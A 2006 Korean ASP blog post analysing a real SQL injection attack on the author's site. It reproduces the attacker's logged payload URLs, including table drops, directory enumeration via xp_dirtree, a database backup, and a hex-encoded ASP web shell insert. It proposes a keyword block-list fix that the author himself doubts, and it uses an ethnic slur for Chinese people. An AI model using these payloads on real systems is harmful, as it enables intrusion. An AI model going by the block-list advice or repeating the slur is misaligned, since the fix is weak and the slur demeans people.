▶ 뭉충닷컴
 
mungchung.com login
Site Search
My Space
주절주절...
공부방
쥔장소개
Board
자유게시판
유용한 정보
자료실
Programming
강좌 & Articles
Spring 3.0
프로그래밍 Tip
   -ASP
   -PHP
   -JavaScript
   -HTML
   -Java/JSP
   -Database
   -Crystal Report
   -Visual Basic
   -이클립스
   -리눅스
   -기타
Windows API (VB)
Spread Sheet 7.0
컴퓨터활용 Tip
Other things
StarCraft 전략
StarCraft 문서
김용(金庸)
Son Q & Dieda

SQL Injection 취약점을 이용한 해킹

ASP 조회 수 10114 추천 수 0 2006.01.03 12:12:28
만들지도 않은 테이블이 생성되어 있어서 그 테이블이 생성된 날짜의 로그파일을 분석해보니 URL을 통해서 해킹한 흔적이 나타났다. 아래는 로그파일을 분석해서 URL로 만들어 본건데...간단하게 예를 든다면

대개 특정게시물을 본다면
http://주소/view.asp?idx=34 이런식으로 처리한다 그럼 실질적으로 프로그래밍할땐
Set rs = DBConn.Execute("Select * From [Table] Where idx=" & Request("idx")) 이렇게 처리한다.

아주 일반적으로 게시물 가져오는 방식인데 이걸 이용해 해킹을 한다.
http://주소/view.asp?idx=34;Drop Table [Table]
이렇게 URL로 넘긴다면 실질적으로 쿼리는 아래쿼리가 실행된다.
Select * From [Table] Where idx=34;Drop Table [Table]
그래서 [Table]란 테이블이 삭제되어 버린다.

이 정도까지는 그나마 괜찮은데 이런 버그(?)를 이용해서 xp_cmdshell 등등을 이용해서 Sql서버로 서버계정을 생성하고 접근하고..하드 건들고 그런다.

이것을 해결하는 방법은 아직 명확하게 제시된곳이 없는데 이것이 OS차원의 문제도 아니고 소프트웨어의 문제도 아닌 단순 개발상의 취약점을 이용한 것이라서 개발자가 일일이 해결할수 밖에 없다고 한다. 내 경우 쿼리를 실행하기전에 쿼리문을 검사해서 drop나 create xp_cmdshell등 해킹에 위험한 단어가 포함된 쿼리를 실행하면 쿼리를 중지시키도록 해서 처리했는데 맞는 방법인진 모르겠으나 아래의 로그파일에 나온 해킹유형으로 일일이 해봤을때는 안전했다.

(해킹한 아이피를 추적해보니 짱개놈들 위치였다. -_-)

아무튼 이거에 관련된 자세한 설명을 다룬 곳은 아래 링크로 가보면 된다.



SQL Injection 취약점 사례 분석 #1  : http://www.ntfaq.co.kr/security/view.asp?pid=100
SQL Injection 취약점 사례 분석 #2  : http://www.ntfaq.co.kr/security/view.asp?pid=102




'----------------------------------------------------------------------
' 짱개놈이 남긴 해킹 기록
'----------------------------------------------------------------------
' D99_Tmp 테이블 삭제
http://사이트/view.asp?news_idx=480;Drop table [D99_Tmp]

' C:\ 드라이브 항목을 입력한다.
http://사이트/view.asp?news_idx=480;DROP TABLE D99_Tmp;CREATE TABLE D99_Tmp(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100))  Insert D99_Tmp exec master..xp_dirtree "D:\", 1,1

' 실행 안되지만 로그에 남은 구문들
http://사이트/view.asp?news_idx=480 And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From D99_Tmp)=0  
http://사이트/view.asp?news_idx=480 And (Select Top 1 char(124)+Cast([file] as varchar(8000))+subdirectory+char(124) From (Select Top 1 [subdirectory],[file] From D99_Tmp ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc)=0


' 요것 실행하면 mssql 설치디렉토리의 Backup폴더에 백업파일 생성된다.
http://사이트/view.asp?news_idx=480;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737337333234 backup database @a to disk=@s

' heige 테이블 생성
http://사이트/view.asp?news_idx=480;Drop table [heige];create table [dbo].[heige] ([cmd] [image])

' heige 테이블에 무슨 값인가 입력한다.
http://사이트/view.asp?news_idx=480;insert into heige(cmd) values(0x3C25657865637574652872657175657374282261222929253E)



' 로그파일에 %20이나 %2B는 아래와 같은 의미다. 혹 다른 %xx문자가 있다면 아래 링크가서 escape 시켜보면 된다.
http://mungchung.com/mianamssi/articles/S011-trans_code.htm
%20 -> space
%2B -> +
문서 첨부 제한 : 0Byte/ 2.00MB
파일 크기 제한 : 2.00MB (허용 확장자 : *.*)
List of Articles
번호 제목 글쓴이 날짜 조회 수
191 ASP asp에서 XML 다루는 여러가지 예제 file 뭉충닷컴 2006-05-08 8112
190 ASP XMLHTTP에서 데이타를 POST 로 보내기 뭉충닷컴 2006-04-27 8351
189 VB HTML 파일을 MHTML (웹보관 파일)로 만들기 file [1] 뭉충닷컴 2006-04-24 8562
188 Script 선택 영역만 웹페이지 다른 이름으로 저장하는 스크립트 뭉충닷컴 2006-04-21 6546
187 Script IE ActiveX 패치에 따른 embed 프로그램 처리 스크립트 뭉충닷컴 2006-04-17 6233
186 Script showModalDialog (dialogArguments) 뭉충닷컴 2006-04-14 15028
185 Script 폼검증시 필수입력해줘야 하는항목들 미리 표시해주기 뭉충닷컴 2006-03-22 5525
184 Script 자바스크립트 함수의 인자를 다른 방법으로 이용하기 뭉충닷컴 2006-03-12 6518
183 Script 웹페이지의 원하는 부분만 인쇄 뭉충닷컴 2006-03-04 6101
182 ASP asp에서 class 사용에 관한 강좌 링크 뭉충닷컴 2006-02-25 8297
181 Script asp의 replace를 자바스크립트로 나타내기 뭉충닷컴 2006-02-20 6970
180 Script 자바스크립트 기초 문법및 내장객체 설명 2 뭉충닷컴 2006-02-15 6768
179 Script 자바스크립트 기초 문법및 내장객체 설명 뭉충닷컴 2006-02-15 9640
178 VB 레지스트리 읽고/쓰는 예제 file 뭉충닷컴 2006-02-10 6393
177 Script [미완성] asp파일 변수 생성해주기 file [1] 뭉충닷컴 2006-02-06 5474
176 Script TDC에 관한 좋은 Articles - 슬금슬금 읽어두면 괜찮을듯 뭉충닷컴 2006-01-27 5553
175 VB ChartFX 를 VB에서 배포하기 [1] 뭉충닷컴 2006-01-25 9840
174 VB 이벤트뷰어 오류를 자동으로 메일로 보내기 뭉충닷컴 2006-01-21 6936
173 ASP 레코드셋 읽어서 변수 자동 생성 뭉충닷컴 2006-01-14 8491
172 ASP COM+ 를 asp 에서 이용할때 몇가지 정보들 뭉충닷컴 2006-01-13 7950
171 ASP Request 값들을 한번에 확인할수 있는 함수 뭉충닷컴 2006-01-03 8371
» ASP SQL Injection 취약점을 이용한 해킹 뭉충닷컴 2006-01-03 10114
169 ASP asp 페이징 테스트 자료 file [9] 뭉충닷컴 2006-01-02 13388
168 Script 자바스크립트로 트리구조 쉽게! file 뭉충닷컴 2005-12-30 8685
167 Script 몇개의 함수로 이미지에 팝업보기 간편하게 하기 [1] 뭉충닷컴 2005-12-26 5600
166 ASP 특정 폴더의 하위 폴더와 파일들 전부 보여주기 뭉충닷컴 2005-12-22 8231
165 VB VB로 익스플로워(브라우저)의 팝업창 띄우기 [2] 뭉충닷컴 2005-12-09 11477
164 HTML 스타일 태그로 문자열 길이 조정하기 뭉충닷컴 2005-12-04 7145
163 Script 선택된 텍스트 값 읽어오기 뭉충닷컴 2005-11-12 5495
162 VB 레지스트리 읽어오기 - 프로그램 설치여부 검사 file 뭉충닷컴 2005-11-02 11009
161 DataBase ASP 페이지에서 데이터베이스 연결 작성: 연결 문자열 예제 뭉충닷컴 2005-10-27 8212
160 DataBase 두개의 mdb의 테이블 연결할때 암호가 걸려있을 경우 뭉충닷컴 2005-10-09 8238
159 VB debug.print 를 텍스트 파일에 저장시키기 뭉충닷컴 2005-10-06 6862
158 VB 엑셀(Excel)과 엑서스(Access) mdb 파일 서로 연동하기 뭉충닷컴 2005-10-06 18967
157 ASP 알집을 이용해서 서버상 asp로 zip압축하기 file 뭉충닷컴 2005-09-21 8471
156 VB FSO 이용안하고 API만을 이용해 파일 다루기 뭉충닷컴 2005-09-01 6462
155 VB DB와 트리구조 연동하는 간단한 샘플 뭉충닷컴 2005-08-31 8091
154 ASP base64 인코드, 디코드 - asp용 (한글 지원) 뭉충닷컴 2005-08-26 11368
153 ASP 여러가지 ASP 관련 함수 모음 뭉충닷컴 2005-08-26 8670
152 HTML Form이 get/post 일때의 Request 최대 Byte수 [3] 뭉충닷컴 2005-08-26 6372
151 Script 자바스크립트로 이미지 파일 사이즈 알아내기 뭉충닷컴 2005-08-25 9522
150 VB 폼의 제목표시줄 높이 or 메뉴 높이 뭉충닷컴 2005-08-15 6453
149 VB 압축 예제, zip, unzip file 뭉충닷컴 2005-08-11 6864
148 Script 파일업로드시 직접입력 못하게 뭉충닷컴 2005-07-07 5501
147 기타 익스플로워(Explorer) 버젼별 실행파일 [1] 뭉충닷컴 2005-07-02 5761
146 Script 체크박스(Checkbox)에서 체크 안된값도 넘겨주는 함수 뭉충닷컴 2005-06-23 11106
145 Script select 박스의 option에 속성준값 받아오기 [1] 뭉충닷컴 2005-06-20 6120
144 DataBase 엑서스의 테이블 목록 보기 뭉충닷컴 2005-06-19 8295
143 ASP 진수 변환 시키기 뭉충닷컴 2005-06-19 8464
142 ASP IIS에서 asp를 실행 못하는 경우 뭉충닷컴 2005-06-17 8366
141 Script type="file" 의 value값 지우기 뭉충닷컴 2005-06-15 7979
140 ASP 그냥 공부용으로만 볼것! 해킹할때 쓰는 asp 파일 file [1] 뭉충닷컴 2005-06-10 9442
139 ASP DateSerial 를 이용해 원하는 날짜 구하기 - 마지막 날짜, 첫째 날짜 뭉충닷컴 2005-06-09 8651
138 Script TEXTAREA에 탭(Tab) 기능 넣기 뭉충닷컴 2005-06-09 6685
137 ASP 순수 asp로 만든 업로드 컴퍼넌트 - 한글됨 file [1] 뭉충닷컴 2005-06-07 9114
136 ASP Request 를 폼의 히든(hidden) 값으로 자동 생성해주기 뭉충닷컴 2005-06-05 8482
135 VB 정규표현식 사용하기 뭉충닷컴 2005-05-30 6377
134 VB VB 프로그램을 정규 DLL로 만드는 프로그램 - api처럼 dll 사용 file 뭉충닷컴 2005-05-30 10420
133 ASP 페이징(paging) 처리 함수 file 뭉충닷컴 2005-05-27 8265
132 VB 외부 실행 파일 강제 종료 하기 뭉충닷컴 2005-05-21 7343